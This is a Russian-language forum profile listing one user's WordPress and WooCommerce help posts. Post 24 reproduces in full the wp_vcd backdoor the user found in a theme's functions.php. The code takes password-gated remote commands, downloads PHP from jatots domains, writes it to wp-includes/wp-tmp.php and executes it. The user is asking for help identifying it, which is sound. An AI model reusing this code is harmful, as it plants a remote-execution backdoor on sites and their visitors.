Elliot

Members
  • Content count

    228
  • Joined

  • Last visited

Everything posted by Elliot

  1. Я добавил в исключения все файлы плагинано результата нет, может я неправильно добавляю?
  2. Здравствуйте друзья! Скачал плагин woo multi currency установил валюту по умолчанию Евро, так как цены в евро, но на сайте должны отображаться цены в гривнах. Но такая возможность есть только в платной версии. Но если вешать кукис с установленной валютой, то каждый раз как пользователь будет обновлять страницу, ему будет записываться/переписываться кукис с нужной валютой, и он будет видеть все в гривнах. Но в консоли браузера наблюдаю такую ошибку "Uncaught SyntaxError: Unexpected token" кукис цепляю так: <script async type="text/javascript" src="/shop/?wmc-currency=UAH"></script> Это обычная ссылка которую я взял с кнопки смены валюты. Зачем так делать? При смене цены на товар, или смене каких-то настроек, кукис как бы сбрасывается и на сайте все становиться в евро. Таким образом, кукис будет записываться и при обновлении страницы все становиться в гривнах. Но вот меня смущает эта ошибка, это не страшно??
  3. Приветствую всех! Только сегодня заметил что этот код не работает для вариаций, это связанно со стилями которые цепляет скрипт или что-то другое? Подскажите пожалуйста Ну или хотя бы отключить работу этого скрипта в вариативных товарах...
  4. Такая фот проблема, добавил код который обновляет цену в карточке товара в зависимости от количества единиц товара. Вот сам код // we are going to hook this on priority 31, so that it would display below add to cart button. add_action( 'woocommerce_single_product_summary', 'woocommerce_total_product_price', 31 ); function woocommerce_total_product_price() { global $woocommerce, $product; // let's setup our divs echo sprintf('<div id="product_total_price" style="margin-bottom:20px;display:none">%s %s</div>',__('Product Total:','woocommerce'),'<span class="price">'.$product->get_price().'</span>'); echo sprintf('<div id="cart_total_price" style="margin-bottom:20px;display:none">%s %s</div>',__('Cart Total:','woocommerce'),'<span class="price">'.$product->get_price().'</span>'); ?> <script> jQuery(function($){ var price = <?php echo $product->get_price(); ?>, current_cart_total = <?php echo $woocommerce->cart->cart_contents_total; ?>, currency = '<?php echo get_woocommerce_currency_symbol(); ?>'; $('[name=quantity]').change(function(){ if (!(this.value < 1)) { var product_total = parseFloat(price * this.value), cart_total = parseFloat(product_total + current_cart_total); $('#product_total_price .price').html( currency + product_total.toFixed(2)); $('#cart_total_price .price').html( currency + cart_total.toFixed(2)); } $('#product_total_price,#cart_total_price').toggle(!(this.value <= 1)); }); }); </script> <?php } Проблема в том, что в цене пропадает разделитель тысяч, а как его добавить в этот код - не понимаю, со знаниями php плохо. Помогите пожалуйста! Заранее спасибо!
  5. Тогда я напишу вам завтра))) А по факту, большое спасибо
  6. Да, но я точно не смогу ее написать, если вы можете, буду вам благодарен
  7. Спасибо, теперь все работает четко Так не ломается, в корзине 3 товара и цены отображаются корректно, или я что-то не вижу?
  8. Получилось два разделителя, изначальная цена 9,450 но когда умножается за две единицы то выходит так 1,8,900 руб.
  9. Спасибо за ответ! Разделитель тысяч выводиться, но название валюты выводиться впереди, если перенести назад, то разделитель не выводиться. можете пожалуйста сделать так чтобы цена была такая 1,000 руб. и без копеек
  10. Здравствуйте друзья! Хочу клонировать плагин Новой почты, шаманил шаманил, вроде бы установился но он заменил первый плагин)) Понимаю, что-то не так, но что понять не могу... Кто более умнее, помогите клонировать Зачем нужен клон, плагин только предоплаты, но нужен еще наложенный платеж чтобы тоже города и отделения подтягивал... Вот сам плагин
  11. Здравствуйте уважаемые друзья! Подскажите пожалуйста, описание бренда в карточке товара во вкладке (табе), повлияет пагубно на СЕО? Получается одно описание бренда будет в нескольких товарах, типа дубли... Нужно ли делать это описание, или лучше нет? Заранее спасибо
  12. Это конечно же так, но не хочется чтобы это повлияло на сео, представьте, 300 позиций и 300 одинаковых описаний бренда, это точно негативно повлияет на сео. Разве что делать только для клиента и описание закрывать <noindex>...
  13. Да нет, получиться описание бренда в табе и оно будет одинаковым в каждой карточке товара этого бренда. То есть, в 10 товарах будет одно описания бренда. Получается что в 10 товарах есть одинаковый текст...
  14. то есть, это не повлияет пагубно на сео?)
  15. я сделал такое же через css получилась копия, только в кастумных табах будет одна и та же иконка, но это не страшно)
  16. Здравствуйте уважаемые друзья! Простите за глупую просьбу... Хочу сделать в карточке товара вот такие табы Пытался втиснуть в этот код вывода табов в шаблоне: $tabs = apply_filters( 'woocommerce_product_tabs', array() ); $tabs_layout = woodmart_get_opt('product_tabs_layout'); // accordion tabs $scroll = ( $tabs_layout == 'accordion' ); if ( ! empty( $tabs ) ) : ?> <div class="woocommerce-tabs wc-tabs-wrapper tabs-layout-<?php echo esc_attr( $tabs_layout ); ?>"> <ul class="tabs wc-tabs"> <?php foreach ( $tabs as $key => $tab ) : ?> <li class="<?php echo esc_attr( $key ); ?>_tab"> <a href="#tab-<?php echo esc_attr( $key ); ?>"><?php echo apply_filters( 'woocommerce_product_' . $key . '_tab_title', esc_html( $tab['title'] ), $key ); ?></a> </li> <?php endforeach; ?> </ul> <?php foreach ( $tabs as $key => $tab ) : ?> <div class="woodmart-tab-wrapper"> <a href="#tab-<?php echo esc_attr( $key ); ?>" class="woodmart-accordion-title tab-title-<?php echo esc_attr( $key ); ?>"><?php echo apply_filters( 'woocommerce_product_' . $key . '_tab_title', esc_html( $tab['title'] ), $key ); ?></a> <div class="woocommerce-Tabs-panel woocommerce-Tabs-panel--<?php echo esc_attr( $key ); ?> panel entry-content wc-tab" id="tab-<?php echo esc_attr( $key ); ?>"> <div class="wc-tab-inner <?php if( $scroll ) echo 'woodmart-scroll'; ?>"> <div class="<?php echo ($scroll) ? 'woodmart-scroll-content' : ''; ?>"> <?php call_user_func( $tab['callback'], $key, $tab ); ?> </div> </div> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> Но тут моих знаний не хватило... Кто знающий, помогите за сппасибку, для вас это пустяк а для меня мучения. Магазин пытаюсь сделать для себя, и бюджета нет пока что... Заранее спасибо
  17. Проблема в том, что есть кастумные табы, которые, уверен, мне нужны будут. Сделать через html не получиться, тут нужно с умом подходить, а с последним у меня беда...
  18. Мне мало кнопки "Спасибо" Так что)) Очень большое спасибо, сам бы не нашел
  19. Здравствуйте друзья, столкнулся с проблемой ввода номера телефона по маске. А именно, ввод номера телефона можно начать с середины маски, что не очень хорошо. Искал лучшие примеры, но как то не очень, хочется чтобы пользователь мог вводить номер строго сначала... Вот сам скрипт (прямая ссылка) <script type="text/javascript"> jQuery(function($){ $("#tel").mask("+38(999) 999-9999"); }); </script> Помогите пожалуйста решить проблему
  20. Здравствуйте друзья! Столкнулся с проблемой, не могу вывести изображения галереи ACF в пользовательском типе записей. По порядку. Установил плагин Custom Post Type UI v.1.5.8 и создал тип записи "Призы" и к ним создал таксономии. Потом я установил плагин Advanced Custom Fields v.5.7.2 и Advanced Custom Fields: Gallery Field v.1.1.0 для вывода изображений в отдельном блоке WPBakery Page Builder v.5.5.2 Но, после того как я выбрал через элемент в самом WPBakery произвольное поле галереи, в самой записи после сохранения появились Array для каждой картинки. Установил другую галерею, но она вывела мне только ID каждой картинки. Уже голову сломал, не могу понять, что я делаю не так? Спасибо!
  21. Здравствуйте друзья! Ищу аналог Битрикс24 для компании в которой работаю. Достали ограничения и принуждения к оплате лучшего тарифа. Дошло до того, что уже сотрудники фотографии профиля загрузить не могут, лично загружаю фото размером 100кб, после загрузки размер уже 758кб и надпись (Превышено ограничение дискового пространства) и ты хоть лопни)) может есть скрипты чтобы на хостинг залить и не мучатся? Спасибо!
  22. Я им уже это предлагал, использовать гугл диск, не устраивает... В общем, щас проплатили больше места, вынудили...
  23. Ну так поставьте склейку сообщений, в чем проблема... Я считаю, что не апал тему. По сабжу, буду пробовать залить чистые файлы ядра, хоть бы это апом не было...
  24. Здравствуйте друзья! Случайно заглянул в файл functions и заметил там непонятный код. Гляньте, как по вашему, что он может делать, часом не удаляет тему после загрузки сайта на хостинг? if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '34ddb1c16d4eca7a3070f39f15b3c008')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); if( fwrite($handle, "<?php\n" . $phpCode)) { } else { $tmpfname = tempnam('./', "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); } fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='11222a571de226a4d2202e7d67343f0d'; if (($tmpcontent = @file_get_contents("http://www.jatots.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.jatots.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.jatots.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.jatots.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ?><?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php /** * * The framework's functions and definitions * */
  25. Я тему не апал, и таким не занимаюсь. По сабжу, за ваш ответ спасибо, но он похож на ответ simbo, вот если бы вы ответили типа, зайди во все плагины и попытайся поискать там такой-то текст, вот это какой-то ответ, без обид, и не смотря на то, что вы модер. Или накажите и закроите тему, как на нулледе за пререкание с модератором?)) И снова по сабжу, чтобы снять симптом, нужно удалить файлы wp-includes/wp-tmp.php и wp-vcd.php или как то так, код больше не записывается в functions но кто его знает...